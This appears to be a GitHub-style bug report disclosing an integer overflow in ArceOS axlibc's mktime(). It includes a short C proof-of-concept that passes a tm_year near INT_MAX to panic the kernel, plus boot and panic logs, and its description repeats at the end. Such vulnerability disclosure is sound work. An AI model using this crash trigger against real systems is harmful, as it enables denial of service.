Describe the bug
Calling mktime() with an excessively large tm_year can trigger a kernel panic caused by integer overflow in axlibc's mktime implementation. The overflow occurs at ulib/axlibc/src/mktime.rs:20 in the expression (*t).tm_year + 1900. When tm_year is set close to INT_MAX, adding 1900 overflows and causes a panic in debug mode. This makes mktime() unsafe against malformed or adversarial input and allows a user program to crash the system through a libc API call. The provided PoC reproduces the issue by setting tm_year to a very large value before invoking mktime().
|
let mut year = (*t).tm_year + 1900; |
To Reproduce
- Compile the program and run.
#define _GNU_SOURCE
#include <time.h>
#include <stdio.h>
#include <limits.h>
#include <string.h>
/*
* PoC for ex58: Potential arithmetic overflow in mktime()
* Location: /home/yuchen/ArceOS/arceos/ulib/axlibc/src/mktime.rs:20:20
* Panic type: potential_arithmetic_overflow
*
* The vulnerable code: `let mut year = (*t).tm_year + 1900;`
*
* This can overflow when tm_year is set to a very large value such that
* tm_year + 1900 overflows the integer type.
*
* Trigger strategy: Use mktime() with tm_year set near INT_MAX to cause
* overflow when adding 1900.
*/
int main() {
struct tm tm;
memset(&tm, 0, sizeof(tm));
/* Set tm_year to a value that will overflow when 1900 is added
* INT_MAX - 1900 is close to INT_MAX, so adding 1900 will overflow
*/
tm.tm_year = INT_MAX - 1000; /* Close to INT_MAX */
tm.tm_mon = 0; /* January */
tm.tm_mday = 1; /* 1st day */
tm.tm_hour = 0;
tm.tm_min = 0;
tm.tm_sec = 0;
tm.tm_isdst = -1;
printf("Calling mktime with tm_year = %d\n", tm.tm_year);
/* This will trigger the overflow: tm_year + 1900 */
time_t result = mktime(&tm);
printf("mktime result: %ld\n", (long)result);
/* The overflow happens at: let mut year = (*t).tm_year + 1900; */
return 0;
}
Environment
Logs
SeaBIOS (version 1.16.3-debian-1.16.3-2)
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+06FCAA40+06F0AA40 CA00
Booting from ROM..TSC frequency: 4000 MHz
d8888 .d88888b. .d8888b.
d88888 d88P" "Y88b d88P Y88b
d88P888 888 888 Y88b.
d88P 888 888d888 .d8888b .d88b. 888 888 "Y888b.
d88P 888 888P" d88P" d8P Y8b 888 888 "Y88b.
d88P 888 888 888 88888888 888 888 "888
d8888888888 888 Y88b. Y8b. Y88b. .d88P Y88b d88P
d88P 888 888 "Y8888P "Y8888 "Y88888P" "Y8888P"
arch = x86_64
platform = x86-pc
target = x86_64-unknown-none
build_mode = debug
log_level = warn
smp = 1
[ 0.201092 0 fatfs::dir:145] Is a directory
[ 0.204007 0 fatfs::dir:145] Is a directory
[ 0.208302 0 fatfs::dir:145] Is a directory
[ 0.213843 0 fatfs::dir:145] Is a directory
[ 0.256037 0 axcpu::x86_64::trap:46] No registered handler for trap IRQ
Calling mktime with tm_year = 2147482647
[ 0.256794 0:2 axruntime::lang_items:5] panicked at ulib/axlibc/src/mktime.rs:20:20:
attempt to add with overflow
Describe the bug
Calling
mktime()with an excessively largetm_yearcan trigger a kernel panic caused by integer overflow inaxlibc'smktimeimplementation. The overflow occurs atulib/axlibc/src/mktime.rs:20in the expression(*t).tm_year + 1900. Whentm_yearis set close toINT_MAX, adding 1900 overflows and causes a panic in debug mode. This makesmktime()unsafe against malformed or adversarial input and allows a user program to crash the system through a libc API call. The provided PoC reproduces the issue by settingtm_yearto a very large value before invokingmktime().arceos/ulib/axlibc/src/mktime.rs
Line 20 in bcc354a
To Reproduce
Environment
Logs